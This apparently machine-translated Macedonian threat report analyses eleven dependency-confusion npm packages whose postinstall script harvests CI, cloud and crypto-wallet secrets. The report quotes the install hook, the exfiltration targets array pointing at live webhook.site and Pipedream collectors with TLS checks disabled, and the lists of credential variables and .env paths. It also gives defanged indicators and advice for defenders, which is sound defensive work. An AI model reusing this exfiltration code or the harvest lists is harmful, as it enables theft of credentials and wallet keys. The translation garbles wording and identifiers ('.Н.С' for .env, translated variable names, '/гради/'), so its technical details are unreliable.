TL; ДР
На 2026-06-17, објавена е една npm сметка единаесет пакети кои делат една намена и еден товарДесет од нив го носат cryptodao- префикс (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); единаесеттиот е опсегиран @public-for-cdao/coreСекој од нив беше објавен на верзија 99.99.99 и испраќа идентичен со бајт recon.js што работи на postinstall.
Имињата се показател. Тие се читаат како внатрешни градежни блокови на приватниот синџир на алатки на крипто/DAO проект. Објавени во јавниот npm регистар на вештачки висока верзија, тие чекаат на градба. pipeline што е конфигурирано да ги решава тие имиња и што достигнува до јавниот npm пред - или наместо - приватниот регистар. Ова е конфузија на зависност, а товарот е подесен точно за местото каде што очекува да слета: CI/CD тркачи.
Кога postinstall пожари, recon.js собира детали за домаќинот, грубо пребарува четириесет променливи на околината во облак, CI и крипто-паричник, чита било кој .env датотеки што може да ги пронајде и препраќа тајните линии дословно, а потоа го пренесува пакетот до двајца собирачи — webhook.site и крајна точка на Pipedream — со оневозможена верификација на сертификатот TLS. Копија е напишана и под /tmp.
Сериозност: високоЗасегнат екосистем: npmСите единаесет пакети беа активни во времето на пишување.
Анатомија на нападот
Механизмот има четири подвижни делови, и ниту еден од нив не е суптилен откако ќе знаете дека... погледнете еден слој зад името на пакетот.
1. Надувување на верзии како мамка за решавање. Секој пакет ја декларира верзијата 99.99.99Конфузијата со зависности функционира кога менаџерот на пакети бара внатрешно име, исто така го проверува јавниот регистар и ја избира највисоката верзија што ја има наоѓа. Стандардниот избор на npm за опсег на курсор или џокер-картичка е највисоко задоволителна верзија низ секој конфигуриран извор; ако и двете се приватни регистарот и јавниот npm одговор за истото име, поголемиот број на верзијата победува. A 99.99.99 во суштина го надминува рангирањето на која било вистинска внатрешна верзија што ќе ја има проектот достигнат, па затоа решавачот кој не е поврзан со приватниот извор претпочита јавна — и во овој случај, непријателска — копија. Операторот не треба да го знае вистинските броеви на верзиите на Target; изборот на апсурден максимум гарантира нерешен резултат секогаш им го пробива патот.
2. Активатор по инсталацијата. пакет.json го поврзува товарот со инсталацијата животен циклус:
{ "scripts": { "postinstall": "node recon.js" } } Не е потребен увоз на пакетот. Само инсталирање — што е CI pipeline прави автоматски — работи recon.js.
3. Широк тајно замавнување. recon.js составува низа од резултати во фази:
- Контекст на домаќинот: име на домаќинот, платформа и издание, архитектура, корисничко име, работа директориум.
- Променливи на околината: итерира фиксен список од околу четириесет имиња и записи сите што се поставени. Листата открива - ги спарува генеричките CI токени (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) и облак акредитиви (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) со тајни на регистарот и контејнерот (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) и кластер со изразен крипто-вкус: ПРИВАТЕН_КЛУЧ, МНЕМОНИКА, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCЗапишаните вредности се скратуваат на првите 50 знаци.
- .Н.С датотеки: испитува листа на патеки — .Н.С, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, и .производство/.развој варијанти — и за секоја датотека што постои, тоа ги филтрира содржините во линии што се совпаѓаат КЛУЧ|ТАЈНА|ТОКЕН|ПРОПУСКА|ПРИВАТНА|МНЕМОНИКА и ги вметнува тие линии **целосно, нескратено** во резултатите.
- Контекст на Build-host: ги наведува првите 20 записи од /гради/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, и / tmp /.
Листата на патеки и листата на променливи се пондерирани кон извршувачите на GitLab, што покажува товарот директно на самостојна CI инфраструктура, наместо на развивач лаптоп. Групирањето на листата за берба по категорија го прави планираното берење едноставно:
| категорија | Променливи / достигнати патеки |
|---|---|
| CI/CD идентитет и распоредување | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Облак | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Регистар и контејнер | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Складирање на податоци | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Крипто / блокчејн | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Пораки | SLACK_TOKEN, DISCORD_TOKEN |
| На дискот | .env семејство + /home/gitlab-runner/.env, /root/.env, /app/**/.env; списоци во директориуми на /builds/, /var/lib/gitlab-runner/ |
Крипто кластерот е делот што го разликува ова од генеричкиот CI-тајн sweep: фразите за сеење на паричникот и клучевите за потпишување се појавуваат само во околината на блокчејн проект, и тие се мапираат директно на криптодад-/знак/договори именување на превозниците.
4. Двојна ексфилтрација со оневозможена верификација. Собраниот низ е серијализирано и објавено на две дестинации:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) отфрлиНеовластено: лажно ги исклучува проверките на сертификати TLS за излезните пораки повици. Истите податоци се печатат во stdout (така што исто така завршуваат во CI дневниците на задачи) и напишана за да се /tmp/.npm_recon_ .jsonГрешките се голтаат тивко, па затоа неуспешното испраќање не остава трага во излезот од инсталацијата освен една [извидување] инсталиран на линија.
Водечкиот коментар во датотеката го опишува како „Конфузија на зависност“ „Извиднички товар“. Скратувањето на вредностите на околината на 50 знаци има облик на доказ за концепт. Она што го поместува покрај сигнал само за присуство е .Н.С ракување: линиите со тајни носители се пренасочуваат во целост, а дестинациите се двајца функционални собирачи контролирани од напаѓачи, а не еден мијалник кој само се брои хитови.
Хронологија
Моделот на објавување е потпис на еден скриптен потпис, а не на единаесет независни прикачувања.
| Време (UTC, 2026-06-17) | настанот |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 објавена |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — варијанта со опсервација, ~24 минути подоцна |
Десет пакети беа испратени во рок од 29 секунди, отприлика по еден на секои три секунди. Опсегот @public-for-cdao/core следеше околу 24 минути подоцна - секунда конвенција за именување за истата цел, во случај проектот што го користи да се повикува на внатрешен синџир на алатки под опсег, а не како голи имиња.
Индикатори за компромис
| тип | индикатор |
|---|---|
| Колектор | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Колектор | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Инсталирајте ја куката | postinstall: node recon.js |
| Испуштена датотека | /tmp/.npm_recon_<timestamp>.json |
| Маркер за дневници | [recon] <pkg>@<ver> installed on <hostname> (stdout во CI логовите) |
| Однесување | rejectUnauthorized: false на излезни HTTPS за време на инсталацијата |
| Корисни товар | recon.js, идентично во сите единаесет пакети (една споделена верзија) |
| верзија | 99.99.99 на секое пакување |
| делот пакети | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (сите) 99.99.99) |
| Издавач | aduljune / aduljune@proton.me (е-поштата е непотврдена, нема поврзано изворно складиште) |
Атрибуција и набљудувано однесување
Сè во врска со кластерот укажува на една рака. Сите единаесет пакети беа објавени. од сметката на npm адулџун (aduljune@proton.me, непроверена адреса без поврзано изворно складиште), во рок од 25 минути, во исто време 99.99.99 верзија, испорака на recon.js чија содржина е идентична бајт-за-бајт низ секој пакет (MD5 се совпаѓа во сите единаесет извлечени копии). Тоа е еден товар врежано на листа од имиња, а не независна повторна употреба на код.
Списокот со имиња ја дефинира наменетата цел. криптодад-* cdao опишете го распоред на приватен модул на крипто/DAO проект и листа за берба на корисниот товар огледала што нагаѓаат: покрај генеричките тајни на CI и облакот, тоа конкретно посегнува по ПРИВАТЕН_КЛУЧ, МНЕМОНИКА, SEED_PHRASE, и Ethereum/BSC RPC и клучеви на давателот на услуги. .Н.С патеките за пребарување и списоците со директориуми се GitLab-runner специфично. Забележливиот ефект е дека секој pipeline излажани да ги инсталираат овие имињата би ги препраќале своите CI токени, cloud клучеви и на дискот .Н.С тајни — и, за блокчејн проект, неговиот материјал за паричник - до двајца колекционери од трети страни.
Не тврдиме кој ја управува сметката или што планирале да прават со неа. податоци. Фактите што стојат сами по себе: имињата се насочени кон специфичен вид на внатрешен синџир на алатки, товарот чита и пренесува вистински тајни вредности, а инфраструктурата беше во функција.
Влијание, трендови и насоки за бранителот
Конфузија на зависност останува ефикасен бидејќи го експлоатира однесувањето на решавачот, а не ранливост во кој било пакет. Носачот овде е тривијален - единаесет речиси празни пакети - но радиусот на експлозијата е кој било pipeline погрешно претпочита јавна npm за внатрешно име. CI runners се најлошото место каде што тоа може да се случи: тие држат токму токените и .Н.С датотеки што овој товар ги чита и тие ги инсталираат зависностите не се интерактивни, па затоа постинсталација трча без никој да гледа.
Овој кластер, исто така, се вклопува во шемата што постојано ја гледаме: носивост за време на инсталацијата што се презентира како „истражување“ или „извидување“ додека се врши вистинско собирање на акредитиви. Етикетата во датотеката не го менува она што кодот го прави на изведувачот. Две опции за дизајн се задржуваат активноста е тивка: секоја операција на мрежата и датотечниот систем е завиткана во обработувач на исклучоци што ги отфрла грешките, па затоа блокирано испраќање или датотека што недостасува не произведува дијагностички излез, а единственото нешто што се печати е еден безопасен [реконструирање] … инсталирано линија што се вклопува во нормалниот инсталационен брборење. Употребата на webhook.site и Pipedream е исто така намерна погодност - и двата се бесплатни, веднаш обезбедени услуги за снимање барања, така што операторот не бара сервери на своите, а дестинациите изгледаат како обични SaaS имиња на хостови во излезните логови.
Економијата е она што го прави ова вредно за внимание на бранителот иако Кодот на носителот е тривијален. Регистрирањето на единаесет имиња не чини ништо, товарот е еден датотеката е копирана единаесет пати, а менаџерот на пакети го извршува целото извршување. Еден погрешно конфигуриран pipeline секаде каде што се користи едно од овие имиња, се плаќа за целото операција.
Конкретни чекори за бранителите:
- Прикачете ги внатрешните опсези во вашиот приватен регистар. Конфигурирајте ги npm за внатрешни имиња
и опсезите се решаваат само според вашиот регистар (мапирање на регистарот со опсег .npmrc, или прокси кое никогаш не паѓа на јавната npm за сопствени именски простори). Резервирајте ги вашите имиња со јавен опсег за никој друг да не може да ги регистрира.
- Commit заклучи датотеки и инсталирај со –ignore-scripts во CI каде што е можно, или проверете го малиот сет на зависности на кои навистина им се потребни скрипти за инсталација. recon.js не може да се изврши ако постинсталација не се извршува.
- Третирајте верзија од 99.99.99 (или друга апсурдно висока) на име со внатрешен изглед како црвено знаме во преглед на зависности и следење на регистарот.
- Предупредување при излез за време на инсталацијата. A постинсталација што отвора излезен HTTPS конекција — особено со оневозможена проверка на сертификатот — до webhook.site, Pipedream или слични услуги за снимање барања вреди да се блокираат на работ на мрежата и да се означат во логовите за градење.
- Ловете ги артефактите. Проверете ги тркачите за /tmp/.npm_recon_*.json и за [рекон] … инсталирано на … маркер во неодамнешните CI логови. Ако се пронајде, ротирајте на секои акредитив изложен на тоа pipeline — CI токени, клучеви во облак, токени на регистарот и сите семиња на паричници или приватни клучеви присутни во околината или .env датотеките.
Референци
Во времето на пишување не постоеше надворешно известување за овој кластер; анализата погоре е директно базирано на објавената содржина на пакетот




